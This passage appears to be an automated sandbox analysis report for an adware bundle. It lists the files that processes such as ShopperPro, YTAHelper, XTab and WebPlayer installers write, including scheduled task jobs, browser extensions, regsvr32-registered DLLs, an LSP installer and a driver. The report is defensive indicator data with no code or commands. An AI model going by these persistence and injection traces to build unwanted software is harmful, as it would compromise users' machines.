C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f3ad8b396434c21b4c214fd667ee391d[1].png (2695 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\442a5f30204dd385d17de5848683274f[1].png (14803 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\5.0stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\scripts[1].js (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\0d2eb87d6982e1321cd3e3735ca5ca4c[1].jpg (3264 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\loading[1].gif (200 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7e5817bad781bbc2d2e43b350ccb53db[1].png (5464 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\58d196b3e886a838d021adc8c8848f1e[1].png (1160 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\567f43cb72fe3ac6419369953394cadd[1].png (38085 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery.min[1].js (49456 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\4.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7c9d412c730603d1d82b98a548a71bac[1].png (8048 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\589b1e936e1f038dc45bd8ffff59b359[1].png (21240 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\7d4f668f3d1818d01b6b9684b669d0db[1].png (5837 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ac5196fbf245580eee113296dff14d0b[1].png (8855 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\83a4cee7a59522b93ed0ae1fa73ce8f3[1].png (2888 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\59982d8527c0da41e35817e8fc15c0fc[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\f1ed3cd0cae7a3524376e6f9369c7ab8[1].png (6151 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\lightbox[1].css (426 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\3d8bbea6bcae57d705c676f7050a7d51[1].png (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\0692c2494a7331a77c05954f79c5480a[1].png (8120 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\e94782c9200f8de809a50327879df1cc[1].png (24007 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\f4e4b853ddab3b763f0af17d513631bd[1].png (21439 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\css[1].css (155 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\ace33f0a1eddf74bbe8d1bfac70deded[1].png (12453 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\c16ddcefe8d9f0d1f850dfcd8f36687d[1].jpg (4648 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\3.5stars[1].jpg (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\1f8ffa22b53dfc2f6b7f1850bb6b73e8[1].png (11190 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\home[1].htm (2911 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (116492 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\logo_illust[1].jpg (6 bytes)

The process Wueqljjrpxyh.exe:2588 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\App Lid\utils.exe (83785 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\Extensions\[email protected]\chrome\content\core\installer.js (5 bytes)
%Program Files% (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5-5.exe (7726 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\459770 (93787 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\ipgeoapi_com[1].json (40 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\344870 (3933 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsfEADC.tmp (685243 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\ExecDos.dll (13 bytes)
%Program Files% (x86)\App Lid\Uninstall.exe (601 bytes)
C:\Windows\Tasks\8652fd7b-ad3d-42ae-954c-19d2b83040c5-5_user.job (74 bytes)
%Program Files% (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.exe (9654 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\md5dll.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\InstallerUtils2.dll (3730 bytes)
C:\Windows\Tasks\8652fd7b-ad3d-42ae-954c-19d2b83040c5-5.job (74 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.dll (38904 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\StdUtils.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\InstallerUtils.dll (31245 bytes)
%Program Files% (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5.xpi (2321 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszEB0B.tmp\nsisos.dll (13 bytes)

The process 78F8.tmp:2856 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Imaging Component (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows Server 2003 SP1 (IA64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD2A.tmp (705 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DEEB.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\easyburner[1].msi (2317485 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDCE7.tmp (345 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE0A.tmp (672 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD2B..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows Server 2003 SP1 (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Setup.INI (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\0x0409.ini (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows Server 2003 SP1 (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD08.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\_ISMSIDEL.INI (31406 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE8C.tmp (647 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 for Windows XP (x64).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD9C..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DCF8.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD8B.tmp (667 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Installer 3.1 (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F} (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE1A.tmp (671 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD0A.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDEFE.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DD09.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\Windows Imaging Component (x86).prq (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE9C..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE6A.tmp (668 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDD7A.tmp (692 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\~DEFD.tmp (10 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE2B..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\{D56FE129-CBB6-41EE-8621-5CCFC63EDA2F}\easyburner.msi (55707 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDEEC.tmp (77 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDE7B..dll (15945 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\_isDCD6.tmp (77 bytes)

The process ins_shopperpro.exe:908 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\setup.exe (1581404 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\D1958.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj3B8.tmp (151471 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz3C9.tmp\setup1.exe (142646 bytes)

The process regsvr32.exe:2400 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro.dll (425 bytes)

The process regsvr32.exe:3308 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper64.dll (524 bytes)

The process regsvr32.exe:2416 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\ShopperPro64.dll (503 bytes)

The process regsvr32.exe:3720 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\YTAHelper\YTAHelper.dll (434 bytes)

The process lspinst.exe:3432 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (253 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process lspinst.exe:3868 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YouTube Accelerator\instlsp.log (295 bytes)
C:\ProgramData\TEMP:56E2E879 (375 bytes)

The process 6641.tmp:2324 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (297418 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7780 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\NSISEncrypt.dll (3412 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszAFEE.tmp\UserInfo.dll (8 bytes)

The process webplayer_installer.exe:3376 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\storage.js (979 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\WebPlayer.exe (7533 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\initialize.js (67 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\common.js (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\initialize.js (66 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\main.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\main.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (843 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\jsonstorage.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\config.xml (823 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\json.js (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\shortcut.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\web_player\web_player.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\installer.js (11 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\xhr.js (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\icons\tray.ico (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\stub.html (680 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\event_listener.js (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\utils.js (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\scripts\kango\io.js (751 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nskD72D.tmp\nsExec.dll (14 bytes)

The process YTAHEL~1.EXE:2620 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\YTAHelper\FireFox\content\YTAHelper_64.png (4 bytes)
%Program Files% (x86)\YTAHelper\FireFox\chrome.manifest (111 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.exe (32824 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\nsProcess.dll (12 bytes)
%Program Files% (x86)\YTAHelper\FireFox\install.rdf (884 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.sys (1856 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\nsExec.dll (14 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.js (13 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\overlay.xul (203 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\AccDownload.dll (11671 bytes)
C:\Users\Public\Documents\YTAHelper\JsDriver\Config.xml (1 bytes)
%Program Files% (x86)\YTAHelper\yta_database1_0_0.json (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\MoreInfo.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\System.dll (23 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper.dll (15168 bytes)
%Program Files% (x86)\YTAHelper\JSDriver\jsdrv.exe (100378 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C38.tmp (116682 bytes)
%Program Files% (x86)\YTAHelper\YTAHelper64.dll (17848 bytes)
%Program Files% (x86)\YTAHelper\FireFox\content\shopperpro_128.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\jsdrv.exe (100669 bytes)

The process EasyBurner.exe:4456 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\EasyBurner\Logs\150224_u.log (498 bytes)

The process %original file name%.exe:3304 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe (8413 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj4460.tmp (6464 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\config.ini (97 bytes)

The process DCytaiesmt_smtyc_setup.exe:3680 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_31962\ins_yta.exe (31172 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_31962\ins_postInst.exe (3063 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Installer\Install_22162\DCytaiesmt_smtyc_setup.exe (7726 bytes)

The process cscript.exe:3476 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\default_config.json (791 bytes)
C:\Users\"%CurrentUserName%"\Desktop\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\shortcut.ico (6242 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\64x64[1].ico (5575 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\main.ico (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\16x16[1].ico (1150 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\scripts\config.xml (819 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\Uninstall.exe (65 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\config[1].json (778 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\Uninstall.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe (204 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\AppsHat\AppsHat.lnk (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\icons\tray.ico (1 bytes)

The process spbiu.exe:3012 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)
C:\Windows\Temp\SPBI_cache_iexplore.exe.cache (1032 bytes)
%Program Files%\Common Files\ShopperPro\spbia.exe (327 bytes)

The process spbiu.exe:408 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\ProgramData\ShopperPro\spbihe.js (435 bytes)

The process XTab_v4.0.exe:3476 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\XTab\web\img\googlelogo.png (7 bytes)
%Program Files% (x86)\XTab\web\js\jquery-1.11.0.min.js (4726 bytes)
%Program Files% (x86)\XTab\skin\btn.png (2 bytes)
%Program Files% (x86)\XTab\install.data (68 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-CN\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\en-US\messages.json (3 bytes)
%Program Files% (x86)\XTab\HPNotify.exe (18027 bytes)
%Program Files% (x86)\XTab\conf (1606 bytes)
%Program Files% (x86)\XTab\web\img\loading.gif (5 bytes)
%Program Files% (x86)\XTab\BrowerWatchFF.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\es-419\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\indexIE8.html (1816 bytes)
%Program Files% (x86)\XTab\web\js\library.js (4216 bytes)
%Program Files% (x86)\XTab\web\_locales\pt\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\arrow.png (259 bytes)
%Program Files% (x86)\XTab\web\ver.txt (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-BE\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\input_bk.png (2 bytes)
%Program Files% (x86)\XTab\web\_locales\pl\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\_locales\it-IT\messages.json (4 bytes)
%Program Files% (x86)\XTab\skin\conf_back.png (1623 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CA\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\weather\0.png (1 bytes)
%Program Files% (x86)\XTab\skin\btn_apply.png (6 bytes)
%Program Files% (x86)\XTab\skin\conf.xml (8 bytes)
%Program Files% (x86)\XTab\CmdShell.exe (1681 bytes)
%Program Files% (x86)\XTab\web\indexIE.html (1 bytes)
%Program Files% (x86)\XTab\web\_locales\ru-MO\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\js\xagainit-ie8.js (3 bytes)
%Program Files% (x86)\XTab\skin\about_bk.png (1436 bytes)
%Program Files% (x86)\XTab\web\_locales\es-ES\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\main.xml (4 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo_hover.png (1 bytes)
%Program Files% (x86)\XTab\BrowserAction.dll (33992 bytes)
%Program Files% (x86)\XTab\skin\radio_2.png (3 bytes)
%Program Files% (x86)\XTab\msvcr110.dll (22156 bytes)
%Program Files% (x86)\XTab\searchProvider.xml (8 bytes)
%Program Files% (x86)\XTab\web\_locales\it-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\ProtectService.exe (5471 bytes)
%Program Files% (x86)\XTab\web\js\js.js (18 bytes)
%Program Files% (x86)\XTab\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
%Program Files% (x86)\XTab\web\img\default_add_logo.png (1 bytes)
%Program Files% (x86)\XTab\skin\logo.png (5 bytes)
%Program Files% (x86)\XTab\web\js\xagainit2.0.js (3 bytes)
%Program Files% (x86)\XTab\web\data.html (20 bytes)
%Program Files% (x86)\XTab\web\js\xagainit.js (3 bytes)
%Program Files% (x86)\XTab\web\img\googlelogo2.png (1526 bytes)
%Program Files% (x86)\XTab\web\main.css (19 bytes)
%Program Files% (x86)\XTab\web\_locales\vi-VI\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\_locales\ru\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\icon48.png (3 bytes)
%Program Files% (x86)\XTab\skin\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsk8843.tmp\System.dll (23 bytes)
%Program Files% (x86)\XTab\web\img\logo32.ico (4 bytes)
%Program Files% (x86)\XTab\web\img\icon128.png (9 bytes)
%Program Files% (x86)\XTab\web\js\jquery.autocomplete.js (12 bytes)
%Program Files% (x86)\XTab\uninstall.exe (1343 bytes)
%Program Files% (x86)\XTab\skin\about.png (4 bytes)
%Program Files% (x86)\XTab\BrowerWatchCH.dll (23 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-FR\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\img\icon16.png (628 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-CH\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\settings.png (5 bytes)
%Program Files% (x86)\XTab\web\img\default_logo.png (5 bytes)
%Program Files% (x86)\XTab\web\_locales\fr-LU\messages.json (3 bytes)
%Program Files% (x86)\XTab\web\js\ga.js (1568 bytes)
%Program Files% (x86)\XTab\web\js\common.js (2 bytes)
%Program Files% (x86)\XTab\web\_locales\tr-TR\messages.json (4 bytes)
%Program Files% (x86)\XTab\SupTab.dll (6812 bytes)
%Program Files% (x86)\XTab\web\js\ie8.js (156 bytes)
%Program Files% (x86)\XTab\IeWatchDog.dll (20 bytes)
%Program Files% (x86)\XTab\web\_locales\pt-BR\messages.json (4 bytes)
%Program Files% (x86)\XTab\web\img\google_trends.png (7 bytes)
%Program Files% (x86)\XTab\web\_locales\zh-TW\messages.json (3 bytes)
%Program Files% (x86)\XTab\skin\rigth_arrow.png (2 bytes)
%Program Files% (x86)\XTab\msvcp110.dll (17526 bytes)
%Program Files% (x86)\XTab\skin\radio_1.png (3 bytes)

The process taskeng.exe:1448 makes changes in the file system.
The Application creates and/or writes to the following file(s):

%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe (291 bytes)

The process ytaiesmt_smtyc_setup.exe:1744 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nszE6D6.tmp (35969 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\DCytaiesmt_smtyc_setup.exe (379403 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\D1989.dll (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\NK.lky (16 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsoE6E6.tmp\FF21A5D4D8C96ED7 (34773 bytes)

The process MSIEXEC.EXE:3448 makes changes in the file system.
The Application creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7B8944BA8AD0EFDF0E01A43EF62BECD0_0B392C5099259E005752375141B9C59A (1504 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 (57 bytes)
C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7B8944BA8AD0EFDF0E01A43EF62BECD0_0B392C5099259E005752375141B9C59A (1 bytes)
